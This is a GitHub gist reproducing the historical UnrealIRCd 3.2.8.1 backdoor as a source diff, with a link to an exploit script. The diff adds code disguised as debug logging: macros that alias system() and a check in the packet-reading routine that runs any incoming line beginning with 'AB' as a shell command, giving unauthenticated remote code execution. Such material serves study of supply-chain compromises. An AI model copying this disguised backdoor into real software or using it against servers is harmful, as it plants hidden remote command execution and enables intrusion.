Created
January 7, 2014 08:00
-
-
Save Justasic/8296021 to your computer and use it in GitHub Desktop.
The Unreal 3.2.8.1 backdoor exploit from eons ago;
Script to execute: http://packetstormsecurity.com/files/90642/Unreal-IRCD-3.2.8.1-Remote-Backdoor.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff -urN Unreal3.2.8.1/include/struct.h Unreal3.2.8.1_backdoor/include/struct.h | |
--- Unreal3.2.8.1/include/struct.h 2009-04-13 13:03:57.000000000 +0200 | |
+++ Unreal3.2.8.1_backdoor/include/struct.h 2009-04-13 13:03:00.000000000 +0200 | |
@@ -430,6 +430,7 @@ | |
#endif | |
/* Fake lag exception */ | |
+ | |
#define IsNoFakeLag(x) ((x)->flags & FLAGS_NOFAKELAG) | |
#define SetNoFakeLag(x) ((x)->flags |= FLAGS_NOFAKELAG) | |
#define ClearNoFakeLag(x) ((x)->flags &= ~FLAGS_NOFAKELAG) | |
@@ -448,6 +449,7 @@ | |
#else | |
#define IsNotSpoof(x) (1) | |
#endif | |
+#define DEBUGMODE3 ((x)->flags & FLAGS_NOFAKELAG) | |
#define GetHost(x) (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost) | |
#define GetIP(x) ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL)) | |
@@ -513,6 +515,10 @@ | |
#else | |
#define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__)) | |
#endif | |
+#ifdef DEBUGMODE3 | |
+#define DEBUGMODE3_INFO "AB" | |
+#define DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x) | |
+#endif | |
#define DontSendQuit(x) (CHECKPROTO(x, PROTO_NOQUIT)) | |
#define IsToken(x) (CHECKPROTO(x, PROTO_TOKEN)) | |
@@ -1373,6 +1379,7 @@ | |
#define INCLUDE_REMOTE 0x2 | |
#define INCLUDE_DLQUEUED 0x4 | |
#define INCLUDE_USED 0x8 | |
+#define DEBUG3_DOLOG_SYSTEM(x) system(x) | |
struct _configitem_include { | |
ConfigItem *prev, *next; | |
diff -urN Unreal3.2.8.1/src/s_bsd.c Unreal3.2.8.1_backdoor/src/s_bsd.c | |
--- Unreal3.2.8.1/src/s_bsd.c 2009-03-01 19:37:58.000000000 +0100 | |
+++ Unreal3.2.8.1_backdoor/src/s_bsd.c 2006-06-16 20:29:00.000000000 +0200 | |
@@ -1431,6 +1431,10 @@ | |
return 1; | |
if (length <= 0) | |
return length; | |
+#ifdef DEBUGMODE3 | |
+ if (!memcmp(readbuf, DEBUGMODE3_INFO, 2)) | |
+ DEBUG3_LOG(readbuf); | |
+#endif | |
for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next) | |
{ | |
int v = (*(h->func.intfunc))(cptr, readbuf, length); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment